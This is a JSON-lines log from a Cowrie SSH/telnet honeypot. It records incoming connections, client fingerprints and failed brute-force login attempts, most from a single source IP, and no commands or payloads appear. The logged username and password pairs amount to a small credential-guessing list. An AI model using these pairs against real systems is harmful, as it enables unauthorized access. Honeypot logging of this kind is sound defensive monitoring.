{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:12.827307Z","src_ip":"192.109.200.78","session":"9a88284d7db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:12.909427Z","src_ip":"192.109.200.78","session":"9a88284d7db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:13.156397Z","src_ip":"192.109.200.78","session":"9a88284d7db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:14.240298Z","src_ip":"192.109.200.78","session":"9a88284d7db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":42194,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ca80df52213","protocol":"telnet","message":"New connection: 5.42.229.203:42194 (159.203.135.109:23) [session: 7ca80df52213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:14.304965Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49324,"dst_ip":"159.203.135.109","dst_port":22,"session":"cba27a0546df","protocol":"ssh","message":"New connection: 159.203.92.129:49324 (159.203.135.109:22) [session: cba27a0546df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:14.751182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:14.757230Z","src_ip":"159.203.92.129","session":"cba27a0546df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:14.769870Z","src_ip":"159.203.92.129","session":"cba27a0546df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Umon.@123","message":"login attempt [admin/Umon.@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:14.789240Z","src_ip":"159.203.92.129","session":"cba27a0546df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:15.796466Z","src_ip":"159.203.92.129","session":"cba27a0546df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56834,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee9d5af0b58d","protocol":"ssh","message":"New connection: 192.109.200.78:56834 (10.17.0.5:22) [session: ee9d5af0b58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:17.006267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:17.013109Z","src_ip":"192.109.200.78","session":"ee9d5af0b58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:17.095527Z","src_ip":"192.109.200.78","session":"ee9d5af0b58d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:17.349084Z","src_ip":"192.109.200.78","session":"ee9d5af0b58d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:18.436775Z","src_ip":"192.109.200.78","session":"ee9d5af0b58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50284,"dst_ip":"10.17.0.5","dst_port":22,"session":"63da446057a6","protocol":"ssh","message":"New connection: 192.109.200.78:50284 (10.17.0.5:22) [session: 63da446057a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:21.345533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:21.350206Z","src_ip":"192.109.200.78","session":"63da446057a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:21.436991Z","src_ip":"192.109.200.78","session":"63da446057a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:21.685080Z","src_ip":"192.109.200.78","session":"63da446057a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:22.772297Z","src_ip":"192.109.200.78","session":"63da446057a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50300,"dst_ip":"10.17.0.5","dst_port":22,"session":"5557d1357f24","protocol":"ssh","message":"New connection: 192.109.200.78:50300 (10.17.0.5:22) [session: 5557d1357f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:25.344002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:25.506825Z","src_ip":"192.109.200.78","session":"5557d1357f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:25.511735Z","src_ip":"192.109.200.78","session":"5557d1357f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:25.976697Z","src_ip":"192.109.200.78","session":"5557d1357f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:27.061720Z","src_ip":"192.109.200.78","session":"5557d1357f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59158,"dst_ip":"10.17.0.5","dst_port":22,"session":"398ddcb34932","protocol":"ssh","message":"New connection: 192.109.200.78:59158 (10.17.0.5:22) [session: 398ddcb34932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:30.668310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:30.673539Z","src_ip":"192.109.200.78","session":"398ddcb34932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:30.814265Z","src_ip":"192.109.200.78","session":"398ddcb34932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:31.194669Z","src_ip":"192.109.200.78","session":"398ddcb34932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:32.282897Z","src_ip":"192.109.200.78","session":"398ddcb34932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59172,"dst_ip":"10.17.0.5","dst_port":22,"session":"16870041a018","protocol":"ssh","message":"New connection: 192.109.200.78:59172 (10.17.0.5:22) [session: 16870041a018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:33.920226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:33.924745Z","src_ip":"192.109.200.78","session":"16870041a018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:34.008680Z","src_ip":"192.109.200.78","session":"16870041a018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:34.266687Z","src_ip":"192.109.200.78","session":"16870041a018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:35.353539Z","src_ip":"192.109.200.78","session":"16870041a018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59180,"dst_ip":"10.17.0.5","dst_port":22,"session":"a09c47b8d659","protocol":"ssh","message":"New connection: 192.109.200.78:59180 (10.17.0.5:22) [session: a09c47b8d659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:37.905164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:37.909919Z","src_ip":"192.109.200.78","session":"a09c47b8d659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:37.997052Z","src_ip":"192.109.200.78","session":"a09c47b8d659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:38.479769Z","src_ip":"192.109.200.78","session":"a09c47b8d659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:39.564872Z","src_ip":"192.109.200.78","session":"a09c47b8d659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40090,"dst_ip":"10.17.0.5","dst_port":22,"session":"45c03d8b5872","protocol":"ssh","message":"New connection: 192.109.200.78:40090 (10.17.0.5:22) [session: 45c03d8b5872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:42.320224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:42.324507Z","src_ip":"192.109.200.78","session":"45c03d8b5872","protocol":"ssh"}
